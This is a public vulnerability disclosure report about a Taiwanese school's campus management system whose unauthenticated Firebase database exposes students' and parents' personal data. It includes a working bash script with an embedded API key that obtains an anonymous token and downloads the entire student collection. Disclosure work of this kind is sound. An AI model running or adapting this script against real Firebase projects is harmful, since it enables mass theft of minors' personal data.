Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00628
- Vendor: 新北市政府教育局
- Title: 樹人家商校園管理系統 Firebase 資料庫裸奔、不安全驗證
- Introduction: Firebase 作為資料庫,其 firebase 端點未作任何驗證,可一次調用出所有全校學生資料
處理狀態
目前狀態
公開
Last Update : 2026/06/14
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/05 22:25:03 : 新提交 (由 yoni13 更新此狀態)
- 2026/05/05 22:27:31 : 新提交 (由 yoni13 更新此狀態)
- 2026/05/05 22:31:29 : 新提交 (由 yoni13 更新此狀態)
- 2026/05/05 22:36:31 : 新提交 (由 yoni13 更新此狀態)
- 2026/05/05 22:58:41 : 新提交 (由 yoni13 更新此狀態)
- 2026/05/09 17:52:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:47:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:47:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:47:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/03 15:55:18 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/06/10 14:16:41 : 確認已修補 (由 yoni13 更新此狀態)
- 2026/06/14 03:00:18 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00628
- 通報者:yoni13 (yoni13)
- 風險:嚴重
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://campus-system-23f6c.web.app/leave/apply
https://campus-system-23f6c.web.app/device
https://campus-system-23f6c.web.app/device
敘述
https://campus-system-23f6c.web.app/leave/apply
此為樹人家商校園管理系統之請假系統,該網頁使用 Firebase 作為資料庫,其 firebase 端點未作任何驗證,可一次調用出所有全校師生資料
任何人皆可存取全校身份證字號、學號、住址、家長學生電話、家長姓名、班級、學生電話、性別等全部資料
#!/bin/bash
PROJECT_ID="dormitory-system-23f6c"
# API_KEY="AIzaSyC..." (Not strictly required when using a Bearer token)
API_KEY="AIzaSyC_wJuz4PWbG1PWTNZmm6oXxANDXK5izuM"
TOKEN=$(curl -s -X POST \
"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${API_KEY}" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken":true}' | jq -r '.idToken')
BASE_URL="https://firestore.googleapis.com/v1/projects/${PROJECT_ID}/databases/(default)/documents/campus_students"
OUTPUT_FILE="campus_students_backup.jsonl"
TEMP_FILE="temp_response.json"
PAGE_TOKEN=""
PAGE_COUNT=1
echo "=== Testing Firestore with ${PROJECT_ID} project ==="
echo "Starting backup to ${OUTPUT_FILE}..."
# Clear existing output file if it exists
> "$OUTPUT_FILE"
# Loop until there is no nextPageToken
while :; do
echo "Fetching page $PAGE_COUNT..."
# Construct URL. Append pageToken if it's not empty.
if [ -z "$PAGE_TOKEN" ]; then
REQUEST_URL="${BASE_URL}"
else
REQUEST_URL="${BASE_URL}?pageToken=${PAGE_TOKEN}"
fi
# Execute curl and store response in a temporary file
curl -s "${REQUEST_URL}" \
-H "Authorization: Bearer ${TOKEN}" \
> "$TEMP_FILE"
# Check for API errors (e.g., token expired)
if grep -q '"error"' "$TEMP_FILE"; then
echo "Error encountered from API:"
cat "$TEMP_FILE"
break
fi
# Extract documents and append to the output file as JSON Lines.
# The '?' prevents jq from throwing an error if the page is completely empty.
jq -c '.documents[]?' "$TEMP_FILE" >> "$OUTPUT_FILE"
# Extract the nextPageToken. If it doesn't exist, return empty.
PAGE_TOKEN=$(jq -r '.nextPageToken // empty' "$TEMP_FILE")
# Break the loop if PAGE_TOKEN is empty
if [ -z "$PAGE_TOKEN" ]; then
echo "Pagination complete! No more pages."
break
fi
((PAGE_COUNT++))
done
# Clean up the temporary file
rm -f "$TEMP_FILE"
# Count total backed-up documents
DOC_COUNT=$(wc -l < "$OUTPUT_FILE" | tr -d ' ')
echo "=== Backup Finished ==="
echo "Successfully backed up ${DOC_COUNT} documents to ${OUTPUT_FILE}."
使用隨機一名學生帳號登入後,來到 https://campus-system-23f6c.web.app/device
發現其未妥善驗證,學生帳號可用來登入手機管理後台
建議措施
- 立刻停用所有使用 AI Vibe Coding 生出來的網站,並再由專業資安人員檢查
- 檢查 Firebase 存取設定
- 評估是否通知受影響學生及家長,並依《個資法》規定考慮主動申報
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。